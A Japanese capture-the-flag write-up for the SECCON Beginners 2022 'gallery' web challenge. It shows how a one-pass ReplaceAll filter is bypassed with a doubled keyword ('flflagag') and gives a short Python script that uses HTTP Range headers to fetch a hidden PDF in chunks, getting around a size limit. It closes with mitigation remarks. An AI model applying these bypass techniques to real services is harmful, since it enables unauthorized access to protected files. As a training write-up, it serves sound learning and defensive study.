[SECCON Beginners CTF 2022] gallery

絵文字のギャラリーを作ったよ! え?ギャラリーの中に flag という文字列を見かけた?仮にそうだとしても、サイズ制限があるから flag は漏洩しないはず...だよね?

解法

拡張子に基づいて、保管してるファイルの一覧を返してくれるサービスのようです。
例えば、pngファイルが欲しかったら?file_extension=pngにアクセスするとその拡張子一覧が返ってきます。

flagっていう拡張子のファイルがあるのかな、と思いflagと入力しましたが、パラメータにflagが含まれていると

fileExtension = strings.ReplaceAll(fileExtension, "flag", "")

ここで置き換えてしまおうという感じらしいです。
ですが一回しか置き換えは実行されないので、flflagagみたいなのを渡すと結果的にflagが残ります。

?file_extension=flflagagというパラメータでアクセスすると、flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdfというデータが存在するみたいです。
これを開こうとすると、サイズ制限に引っ掛かります。

サイズ制限はここでやってるみたいです。

lengthLimit:    10240, // SUPER SECURE THRESHOLD
length := len(data)
if length > w.lengthLimit {
    w.ResponseWriter.Write(bytes.Repeat(filledVal, length))
    return length, nil
}

サイズ制限を越えると全部fieldValに置き換えられるみたいです。

でもHTTPリクエストのrangeヘッダでダウンロード要求する範囲を変更してしまえば、サイズ制限を回避することができます。

import requests
res = requests.get("https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf", headers={"Range":"bytes=0-10239"}).content
res += requests.get("https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf", headers={"Range":"bytes=10240-20479"}).content

f = open("out.pdf", "wb")
f.write(res)
f.close()

これによってflagが得られます。

ctf4b{r4nge_reque5t_1s_u5efu1!}

対策

サニタイズをReplaceAllだけに頼るとまずそうですね。?に置き換えるとかだけでもflagのパスは漏洩しなくなると思います。

(というかアクセスされたくないデータをstaticフォルダに入れておくのが間違いなのでは!?)